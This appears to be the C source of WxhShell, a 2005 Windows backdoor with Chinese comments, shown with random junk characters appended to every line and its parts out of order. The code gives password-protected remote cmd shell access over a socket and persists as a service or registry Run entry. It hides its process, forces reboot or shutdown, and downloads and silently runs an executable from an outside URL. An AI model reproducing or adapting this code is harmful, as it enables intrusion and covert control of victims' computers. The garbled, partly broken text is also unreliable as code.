    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i]@k'2N  
    if(Boot(SHUTDOWN)) @W==)S%O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sint":1FC  
    else { /3sX>Rj  
    closesocket(wsh); eQ6wEeB9  
    ExitThread(0); Nm-E4N#'i  
    } }!|$;3t+c  
    break; n\BV*AH  
    } hl)jE 06  
  // 获取shell +^AAik<yl  
  case 's': { #i*PwgC%_  
    CmdShell(wsh); ?s)6 YF  
    closesocket(wsh); X(8LhsP  
    ExitThread(0); TT#V'r\  
    break; *Utx0Me  
  } @LS%uqs  
  // 退出 }w >UNGUMh  
  case 'x': { hKnV=Ha(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,4-],~T  
    CloseIt(wsh); ];=|))ky"  
    break; ]n:R#55A  
    } WYcZD_  
  // 离开 m0^~VK|  
  case 'q': { J{XRltI+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }6{00er  
    closesocket(wsh); ~xws5n}F  
    WSACleanup(); _c:th{*  
    exit(1); 6O0aGJ,H  
    break; J^PFhu  
        } p`52  
  } g1l:k1\Ht  
  } '[_.mx|cd`  
lKqFuLHwF  
  // 提示信息 k!WeE#"(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G"Ey%Q2K  
} Y OvhMi  
  } :eevc7  
Bw[#,_  
  return; "st+2#{  
} pDhUD}1G  
>-w# &T &K  
// shell模块句柄 4gmlK,a  
int CmdShell(SOCKET sock) ;.R) uCd{=  
{ 0| =y#`;,Z  
STARTUPINFO si; 'bg'^PN>z  
ZeroMemory(&si,sizeof(si)); L(1} PZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vuJEPn%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GI:!,9  
PROCESS_INFORMATION ProcessInfo; P /q] u  
char cmdline[]="cmd"; yi (IIW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XCXX(8To0=  
  return 0; ]z# Ita;  
} KhL%ov  
:}gEt?TUhs  
// 自身启动模式 q$K}Fm1C  
int StartFromService(void) |fgh ryI,  
{ Y^8'P /A  
typedef struct WWOjck #  
{ C!6D /S  
  DWORD ExitStatus; UDgX A  
  DWORD PebBaseAddress; 'Ddzlip  
  DWORD AffinityMask; n(SeJk%>9  
  DWORD BasePriority; :wUi&xw  
  ULONG UniqueProcessId; ?papk4w  
  ULONG InheritedFromUniqueProcessId; Q `-Xx  
}   PROCESS_BASIC_INFORMATION; S&J5QZjC  
~JS@$#  
PROCNTQSIP NtQueryInformationProcess; ]kO|kIs  
|U$ "GI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }` <D KO/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Ny:At  
,,ML^ey  
  HANDLE             hProcess; Z4gn7 'V  
  PROCESS_BASIC_INFORMATION pbi; g{kjd2  
xNLgcb@v>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dg}EI^ d  
  if(NULL == hInst ) return 0; @_ UI;*V  
HJlxpX$_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qT#NS&T!-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gplrJaH@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,,7hVw  
~|LAe-e"  
  if (!NtQueryInformationProcess) return 0; BhiOV_}Hn  
ln6=XDu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -q&,7'V  
  if(!hProcess) return 0; {*<%6?  
X[SIk%{D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TnQW ~_:  
pA_e{P/  
  CloseHandle(hProcess); 9j5-/   
u Qg$hS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~4mRm!DP  
if(hProcess==NULL) return 0; 'X ?Iho  
]8 <`&~a  
HMODULE hMod; xokA_3,1F  
char procName[255]; q &S@\b  
unsigned long cbNeeded; OXB 5W#$  
k$kxw_N5d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^E~1%Md.  
_c(h{dn  
  CloseHandle(hProcess); 7=&+0@R#/d  
3/]~#y%2  
if(strstr(procName,"services")) return 1; // 以服务启动 ~c*kS E2X  
XQtV$Lw  
  return 0; // 注册表启动 6l2Os $  
} +HgyM0LFg  
Mf7 [@#$  
// 主模块 Mh{;1$j#  
int StartWxhshell(LPSTR lpCmdLine)  D@]/%;  
{ /fU -0a8  
  SOCKET wsl; RS@G.|  
BOOL val=TRUE; aa dw#90  
  int port=0; QB ;TQZ  
  struct sockaddr_in door; f>&*%[fw  
H;ujB \+  
  if(wscfg.ws_autoins) Install(); [ /<kPi  
Oh,Xjel  
port=atoi(lpCmdLine); 9Sl5jn  
8>xd  
if(port<=0) port=wscfg.ws_port; Tl+PRR6D*  
%MCS_'N J  
  WSADATA data; 0<^Q j.(9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R0bgt2J  
-M4VC^_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /_yAd,^-+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CBz=-Xr  
  door.sin_family = AF_INET; k`s_31<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <q&i"[^M  
  door.sin_port = htons(port); }%^3  
Ht@5@(W]I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [@]i_L[  
closesocket(wsl); %zhSSB =BJ  
return 1;  lsgZ  
} b'vIX< g  
-MORd{GF  
  if(listen(wsl,2) == INVALID_SOCKET) { IGlM} ?x  
closesocket(wsl);  &'?Hh(  
return 1; g!)*CP#;  
} U99Uny9  
  Wxhshell(wsl); ( efxw  
  WSACleanup(); Ds{DVdqA$c  
Digx#'#jf  
return 0; Iv u'0vF  
p4 $4;)  
} _:Jma  
Z2-"NB  
// 以NT服务方式启动 j%':M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }C$D-fH8sW  
{ NFf` V  
DWORD   status = 0; AE Abny q  
  DWORD   specificError = 0xfffffff; c<{~j~+  
3PkU>+.6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jY ;Hdb''  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U}l=1B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E/gfX   
  serviceStatus.dwWin32ExitCode     = 0; z+^9)wg9  
  serviceStatus.dwServiceSpecificExitCode = 0; 7dOpJjv?)  
  serviceStatus.dwCheckPoint       = 0; Q@*9|6-  
  serviceStatus.dwWaitHint       = 0; MVEh<_  
a%QgL&_5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1k{H,p7  
  if (hServiceStatusHandle==0) return; $F]*B `  
4~hP25q  
status = GetLastError(); +;bZ(_ohG  
  if (status!=NO_ERROR) 7Q~$&G  
{ qV-1aaA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X<f4X"y  
    serviceStatus.dwCheckPoint       = 0; MFipXE!  
    serviceStatus.dwWaitHint       = 0; wBEBj7(y  
    serviceStatus.dwWin32ExitCode     = status; pezfB{x?  
    serviceStatus.dwServiceSpecificExitCode = specificError; PeSTUR&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); - <tTT  
    return; !P6?nS  
  } nk;+L  
{yMkd4v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  \7e4t  
  serviceStatus.dwCheckPoint       = 0; =!/T4Oo  
  serviceStatus.dwWaitHint       = 0; 7>EMr}f C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c]|Tg9AW  
} QHtN_Q_F  
E_{P^7Z|Jg  
// 处理NT服务事件,比如:启动、停止 \\Z?v,XsS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6}*4co  
{ q } (f9  
switch(fdwControl) ]puDqu5!  
{ zY].ZS=7  
case SERVICE_CONTROL_STOP: -.Zy(  
  serviceStatus.dwWin32ExitCode = 0; !HXyvyDN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +u lxCm_lV  
  serviceStatus.dwCheckPoint   = 0; F'ez{ B\AX  
  serviceStatus.dwWaitHint     = 0; dx.Jv/Mb  
  { A>*#Nw5L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z'd]oNF  
  } A^4#6],%v  
  return; =~q$k  
case SERVICE_CONTROL_PAUSE: X& XD2o"rt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X#X/P  
  break; hl8oE5MU  
case SERVICE_CONTROL_CONTINUE: r]S"i$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +5%ncSJx  
  break;  7uzc1}r  
case SERVICE_CONTROL_INTERROGATE: W>[TFdH?  
  break; uY3?(f#  
}; +}BKDEb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R,-DP/ (im  
} _?XR;2 ]  
mw83pU6  
// 标准应用程序主函数 D$`$4mX@hP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =vL >&$  
{ t*-_MG  
hF1Lj=x  
// 获取操作系统版本 Z0M|Bv9_  
OsIsNt=GetOsVer(); "rpP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hKe ms3  
r4]hcoU  
  // 从命令行安装 -r[O_[g w  
  if(strpbrk(lpCmdLine,"iI")) Install(); jTqE V(  
Lv#}Gm  
  // 下载执行文件 `a@YbuLd  
if(wscfg.ws_downexe) { ^[q/w<_j~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d\tA1&k71  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9CZ EP0i7  
} mzf^`/NO  
[] R8VC>Ah  
if(!OsIsNt) { c3O&sa V!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qn/ 6gRLj  
HideProc(); :=K+~?  
StartWxhshell(lpCmdLine); 5+/XO>P1m|  
} =3GgfU5k  
else (,RL\1zJ  
  if(StartFromService()) = @ 1{LF;  
  // 以服务方式启动 161IWos  
  StartServiceCtrlDispatcher(DispatchTable); Pe@*')o*  
else w1+ %+x  
  // 普通方式启动 U< "k -  
  StartWxhshell(lpCmdLine); |sAl k,8s  
E/^N   
return 0; mwF{z.t"  
} 3WPZZN<K9  
< WQ ~X<1D  
w%%*3[--X  
u_Xp\RJ  
=========================================== zo1 fUsK?  
26=G%F6  
'lOpoWDL  
SjvSnb_3  
+rka 5ts  
(:RYd6i  
" sLc,Dx"+  
CZkmd  
#include <stdio.h> PD-*rG `  
#include <string.h> +[[^W;<.l  
#include <windows.h> ].@8/. rg  
#include <winsock2.h> w$jSlgUHy)  
#include <winsvc.h> RvyCc!d  
#include <urlmon.h> <_SdW 5BF<  
ZSLvr-,D  
#pragma comment (lib, "Ws2_32.lib") e[db?f2!  
#pragma comment (lib, "urlmon.lib") s6Il3K f  
&3\3wcZ,q  
#define MAX_USER   100 // 最大客户端连接数  H@sM$8  
#define BUF_SOCK   200 // sock buffer  *1 *i5c  
#define KEY_BUFF   255 // 输入 buffer 3.h0  
(XV+aQ\A  
#define REBOOT     0   // 重启 B_"PFWwg  
#define SHUTDOWN   1   // 关机 RAA,%rRhu(  
jPs{Mr<  
#define DEF_PORT   5000 // 监听端口 =0>[-:Z  
.qCI!%fg  
#define REG_LEN     16   // 注册表键长度 ^$y`Q@-9  
#define SVC_LEN     80   // NT服务名长度 FaKZ|~Y e  
 }D!o=Mg^  
// 从dll定义API 'T]Ok\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Dyyb1\)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J$S*QCo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `_OB_F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); & z5:v-G?  
>j&k:  
// wxhshell配置信息 Y0ACJ?|  
struct WSCFG { m>!aI?g  
  int ws_port;         // 监听端口 27Vx<W  
  char ws_passstr[REG_LEN]; // 口令 it->)?"(6  
  int ws_autoins;       // 安装标记, 1=yes 0=no "j=E8Dd}  
  char ws_regname[REG_LEN]; // 注册表键名  K"Gea`I  
  char ws_svcname[REG_LEN]; // 服务名 ~oRT@E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }s.\B    
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .G>~xm0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A9z3SJ\vXl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9jllW[`2F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lv *USN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SU(J  
/pJr%}sc  
}; f 2k~(@!h  
 }S}%4c>  
// default Wxhshell configuration 6dYa07  
struct WSCFG wscfg={DEF_PORT, 8Y;2.Z`Rz  
    "xuhuanlingzhe", F`.W 9H3  
    1, 9+~1# |  
    "Wxhshell", v 1 f^gde  
    "Wxhshell", vhN6_XD  
            "WxhShell Service", /1.gv~`+  
    "Wrsky Windows CmdShell Service", afjEN y1  
    "Please Input Your Password: ", tD]vx`0>  
  1, (mx}6A  
  "http://www.wrsky.com/wxhshell.exe", \# 1p  
  "Wxhshell.exe" peVzF'F  
    }; `8;\}6:"1  
9/O\769"'  
// 消息定义模块 /km0[M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cm-dos  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'i 8`LPQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3C2~heO>|  
char *msg_ws_ext="\n\rExit."; q[c^`5  
char *msg_ws_end="\n\rQuit."; $"3cN&  
char *msg_ws_boot="\n\rReboot..."; f_IsY+@  
char *msg_ws_poff="\n\rShutdown..."; N^jr  
char *msg_ws_down="\n\rSave to "; %%lJyLq'Vk  
`(~oZbErM  
char *msg_ws_err="\n\rErr!"; r`PD}6\  
char *msg_ws_ok="\n\rOK!"; @y,>cDg  
>vNE3S_  
char ExeFile[MAX_PATH]; Tlk!6A:  
int nUser = 0; HyIyrUrYW  
HANDLE handles[MAX_USER]; J n'SGR  
int OsIsNt; [2z >8 SL  
c`7dNx  
SERVICE_STATUS       serviceStatus; Y7 e1%,$v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yRt7&,}zL  
aQ0pYk~(  
// 函数声明 1c4:'0  
int Install(void); ne=CN!=  
int Uninstall(void); :%IB34e  
int DownloadFile(char *sURL, SOCKET wsh); ] m #*4  
int Boot(int flag); @[]#[7  
void HideProc(void); H1$n6J  
int GetOsVer(void); ^[b DE0  
int Wxhshell(SOCKET wsl); "fu@2y4^  
void TalkWithClient(void *cs); ]vH:@%3U  
int CmdShell(SOCKET sock); I\|.WrMNi  
int StartFromService(void); )&ucX  
int StartWxhshell(LPSTR lpCmdLine); E*QLw* H  
{}BAQ9|q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yER  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U"L-1]L  
{X-a6OQj  
// 数据结构和表定义 igF<].'V  
SERVICE_TABLE_ENTRY DispatchTable[] = +(h{ 3Y|  
{ Tj!rAMQk  
{wscfg.ws_svcname, NTServiceMain}, p,7?rI\N  
{NULL, NULL} ,Eo\(j2F.  
}; q<4{&omUJ  
W4)bEWO+q  
// 自我安装 )g`~,3G  
int Install(void) Ij:yTu   
{ @GF3g=  
  char svExeFile[MAX_PATH]; 7hT@,|(j  
  HKEY key; ;dTxQ_:  
  strcpy(svExeFile,ExeFile); AL|3_+G  
rv2;)3/*  
// 如果是win9x系统,修改注册表设为自启动 f0*_& rP  
if(!OsIsNt) { ^[Y/ +Q.J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =D)ADZ\<r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rnBp2'EM  
  RegCloseKey(key); Op hD_^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kv<(N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `)TgGny01  
  RegCloseKey(key); \+k~p:d_8  
  return 0; T NF  
    } xsU3c0wbr8  
  } Yh{5O3(;  
} kA9k^uR/  
else { sY?sQ'E2]  
cvYKZB  
// 如果是NT以上系统,安装为系统服务 n D}<zj$D2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j_S3<wEJ  
if (schSCManager!=0) A:5P  
{ HstL'{&,-m  
  SC_HANDLE schService = CreateService V OT9cP^6  
  ( VREDVLQT  
  schSCManager, 7?\r9bD  
  wscfg.ws_svcname, )/Oldyp  
  wscfg.ws_svcdisp, ,Bj]j -\Y  
  SERVICE_ALL_ACCESS, 9 7pnq1b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Uh'W d_?  
  SERVICE_AUTO_START, ~w(A3I.  
  SERVICE_ERROR_NORMAL, V(Oi!(H;v  
  svExeFile, P1<McQ  
  NULL, $SfY<j,R  
  NULL, u@Bgyt7Y  
  NULL, @.pr}S/  
  NULL, &LQfs4}a,  
  NULL (@S 9>z4s  
  ); Pd~z%VoO  
  if (schService!=0) 'Y]<1M>.g  
  { }xY|z"&  
  CloseServiceHandle(schService); 7<k@{xI/  
  CloseServiceHandle(schSCManager); 2hTsjJ!'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `0-i>>  
  strcat(svExeFile,wscfg.ws_svcname);  nWUau:%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0\+$j5;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l I2UpfkBP  
  RegCloseKey(key); In*0.   
  return 0; sR| /s3;  
    } Ld=6'C8ud  
  } WL3J>S_  
  CloseServiceHandle(schSCManager); EdZNmL3cB  
} m3|l-[!OA"  
} U[:Js@uH_  
>uE<-klv  
return 1; T%**:@}+  
} D c]J3r  
iu{QHjZK(  
// 自我卸载 u Npa2{S'  
int Uninstall(void) |xpOU*k  
{ ;9qwB  
  HKEY key; Z-aB[hE  
")w~pZE&+  
if(!OsIsNt) { uFaT~ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WctGhGH  
  RegDeleteValue(key,wscfg.ws_regname); 6>h"Lsww  
  RegCloseKey(key); *k0;R[IAV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nl{on"il  
  RegDeleteValue(key,wscfg.ws_regname); fg GTm:   
  RegCloseKey(key); (dym*_J  
  return 0; l Ng)k1  
  } j0S[JpoF  
} z@2nre  
} epP_~TU  
else { Y }8HJTMB  
+lJD7=%K]Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bW zUWLa  
if (schSCManager!=0) u<HJFGLzI  
{ Sbj{)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qx}*L'xB  
  if (schService!=0) UDb  
  { KzB9 mMrO  
  if(DeleteService(schService)!=0) { Fh.Z sPn,m  
  CloseServiceHandle(schService); kqLpt  
  CloseServiceHandle(schSCManager); &y~GTEP  
  return 0; _61tE  
  } 3UJSK+d\  
  CloseServiceHandle(schService); M U2];  
  } L(BL_  
  CloseServiceHandle(schSCManager); S?Uvt?  
} hy@e(k|S]U  
} !3o]mBH8  
q_:B=w+bC  
return 1; F/D/1w^ iR  
} 1(4IcIR5T;  
u2l`% F`x  
// 从指定url下载文件 `~LaiN.  
int DownloadFile(char *sURL, SOCKET wsh) 8uB6C0,6?  
{ 3L;&MG=  
  HRESULT hr; *)i+c{~  
char seps[]= "/"; Yk5Cyq  
char *token; - [7S.  
char *file; ( z.\,M  
char myURL[MAX_PATH]; BEii:05  
char myFILE[MAX_PATH]; YuzgR;Z  
yzz(<s:o/  
strcpy(myURL,sURL); Yn-;+ 4 K  
  token=strtok(myURL,seps); CS Isi]H  
  while(token!=NULL) t8S,C4  
  { Ga $EM  
    file=token; M"z3F!-j  
  token=strtok(NULL,seps); ]a\HgFp@  
  } oz\r0:  
 .KE2sodq  
GetCurrentDirectory(MAX_PATH,myFILE); O%busM$P)/  
strcat(myFILE, "\\"); _,E! <  
strcat(myFILE, file); 2(NN QU@Uz  
  send(wsh,myFILE,strlen(myFILE),0); `xu/|})KI  
send(wsh,"...",3,0); =/qj vY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kv6#WN~  
  if(hr==S_OK) Z~ {[YsG  
return 0; #Pq.^ ^  
else ;O * o  
return 1; =VDtZSa!$^  
t+ O7dZt%r  
} 5\P3JoH:Yg  
>[TJ-%V>oR  
// 系统电源模块 (Qz| N  
int Boot(int flag) DX@*lM  
{ "(SZ;y  
  HANDLE hToken; [}=/?(5  
  TOKEN_PRIVILEGES tkp; ryoD 1OE  
>,QW74o  
  if(OsIsNt) { %%Z|6V74  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@+(6\6I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )w!*6<  
    tkp.PrivilegeCount = 1; ttC+`0+H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9Y-6e0B:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zk75GC  
if(flag==REBOOT) { >Y[nU~w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PEHaH"|([=  
  return 0; %4HpTx  
} dEM=U;  
else { vaUUesytt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '9#h^.  
  return 0; Qg4g(0E@  
} 5qx$=6PT  
  } L BP|  
  else { f8?c[%br  
if(flag==REBOOT) { \hT=U*dMR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6N.+  
  return 0; 4mJ[Wr\y  
} - d(RK_  
else {  [EU \-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $mp'/]  
  return 0; _f5n t:-  
} J`4{O:{4  
} X:Z*7P/  
"vG~2J  
return 1; -v7O*xm"  
} SH${\BKup  
F/I`EV  
// win9x进程隐藏模块 lGAKHCs  
void HideProc(void) juc;]CHt'  
{ ?h4Rh0rkX  
El)WjcmH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^6U0n!nU  
  if ( hKernel != NULL ) G`" 9/FI7  
  { ]aF!0Fln~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #XJ`/\E]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ai,Nx:r   
    FreeLibrary(hKernel); V K)%Us-  
  } 2XN];,{  
iCrLZ" $M  
return; wkwsBi  
} j[Xc i<m  
9 L^:N)-  
// 获取操作系统版本 z1u1%FwOfM  
int GetOsVer(void) f^63<gqY  
{ (ug^2WG Yq  
  OSVERSIONINFO winfo; Y uo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?g21U97Q  
  GetVersionEx(&winfo); O~WT$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Os# V=P  
  return 1; *?GV(/Q  
  else gZD,#D.hR  
  return 0; c<gvUVHIxR  
} 3\Ma)\>R\-  
pl{Pur ;i  
// 客户端句柄模块 \-?@ &' :  
int Wxhshell(SOCKET wsl) "}jY;d#n  
{ dLs40 -R  
  SOCKET wsh; $stBB  
  struct sockaddr_in client; .^%!X!r  
  DWORD myID; eZ^-gk?  
I2$.o0=3Y  
  while(nUser<MAX_USER) qd7 86~  
{ JWuF ?<+k  
  int nSize=sizeof(client); 9. 7XRxR^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uS%Y$v  
  if(wsh==INVALID_SOCKET) return 1; Alsr6uLT1  
rz @;Zn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0WjPo  
if(handles[nUser]==0) 7fg +WZ  
  closesocket(wsh); UF)4K3X  
else i"{ \ >  
  nUser++; /5y*ZIq]e  
  } E9L)dMZSpj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UaQR0,#0y  
J,bE[52  
  return 0; Z,~EH  
} l$_Yl&!q$  
0m|$ vb  
// 关闭 socket zMUifMiAj  
void CloseIt(SOCKET wsh) Y!8Ik(/~i  
{ G@O~*k1v  
closesocket(wsh); ?y\gjC6CNG  
nUser--; |G5Me  
ExitThread(0); *[(}rpp M  
} j5,vSh~q;'  
O+Zt*jN;  
// 客户端请求句柄 7>a-`"`O  
void TalkWithClient(void *cs) a/Cd;T2  
{ ` R;6]/I?  
MMMuT^X  
  SOCKET wsh=(SOCKET)cs; X0,?~i6Q  
  char pwd[SVC_LEN]; Hvn{aLa.  
  char cmd[KEY_BUFF]; nQ0g,'o  
char chr[1]; JY+ N+c\  
int i,j; u'o."J^&'  
rI\G&OqpP  
  while (nUser < MAX_USER) { pV>M, f  
#)aUKFX  
if(wscfg.ws_passstr) { Jv*(DFt!v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p?mQ\O8F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0i[,`>-Av  
  //ZeroMemory(pwd,KEY_BUFF); Fu*~{n  
      i=0; gg>O:np8  
  while(i<SVC_LEN) { N{}XHA  
nV|H5i;N7  
  // 设置超时 >AT{\W!N  
  fd_set FdRead; TNA?fm  
  struct timeval TimeOut; HQ8oOn  
  FD_ZERO(&FdRead); 0]C~CvO  
  FD_SET(wsh,&FdRead); pNN6PsLt  
  TimeOut.tv_sec=8; 2L#$WuM~^  
  TimeOut.tv_usec=0; +mReWf:o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZSKSMI%D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w`kn!k8  
=Fq"lq %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J2 "n:  
  pwd=chr[0]; 6!|-,t><  
  if(chr[0]==0xd || chr[0]==0xa) { !2)$lM1@J  
  pwd=0; }u=-Y'!#]  
  break; iRo/~(  
  } tpJe1J<  
  i++; !ejLqb  
    } _b+=q:$/  
n+db#qAj5  
  // 如果是非法用户,关闭 socket UN7>c0B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); prf  
} _raj b1!  
#$&!)13  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'eNcQJh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tta\.ic  
J2\%rb,  
while(1) { j'#Y$d1.  
m{(G%n>E&  
  ZeroMemory(cmd,KEY_BUFF); @Sxb}XI!f  
fVlTsc|e  
      // 自动支持客户端 telnet标准   A %iZ_h^  
  j=0; iXp*G52  
  while(j<KEY_BUFF) { (^fiw%#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZXP9{Hh  
  cmd[j]=chr[0]; KLpe!8tAe  
  if(chr[0]==0xa || chr[0]==0xd) { oe<9CK:?>  
  cmd[j]=0; 6I0G.N  
  break; h|^RM*x  
  } ')k n  
  j++; b5kw*h+/'h  
    } |5o0N8!b[  
h rL_. 4  
  // 下载文件 Z5lE*z  
  if(strstr(cmd,"http://")) { `N8?F3>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V87?J w%2  
  if(DownloadFile(cmd,wsh)) y8=(k}=3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vs3px1Xe#  
  else )Mw<e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @D<q=:k  
  } 0'Kbh$LU  
  else { 1&S34wJF  
u)]]9G _8  
    switch(cmd[0]) { [ D[&aA  
